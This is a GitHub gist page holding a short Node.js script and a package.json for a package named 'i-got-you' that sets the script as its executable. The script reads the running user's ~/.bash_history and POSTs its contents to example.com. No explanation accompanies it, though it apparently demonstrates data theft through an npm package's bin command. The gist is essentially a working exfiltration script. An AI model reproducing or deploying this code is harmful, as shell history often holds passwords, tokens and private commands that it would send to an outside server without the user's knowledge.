Skip to content

Instantly share code, notes, and snippets.

@tanepiper
Last active August 20, 2023 22:47
Show Gist options
  • Save tanepiper/6cb9067adca626cd2c0edbc3786dad7b to your computer and use it in GitHub Desktop.
Save tanepiper/6cb9067adca626cd2c0edbc3786dad7b to your computer and use it in GitHub Desktop.
#!/usr/bin/env node
const fs = require('fs');
const http = require('http');
const home = process.env.HOME;
const options = {
host: 'example.com',
path: '/',
port: 80,
method: 'POST'
};
const req = http.request(options, function(response) {
console.log(response);
});
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
console.log(data);
req.write(data);
req.end();
});
{ "name": "i-got-you", "version": "0.0.0", "bin": "./index.js" }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment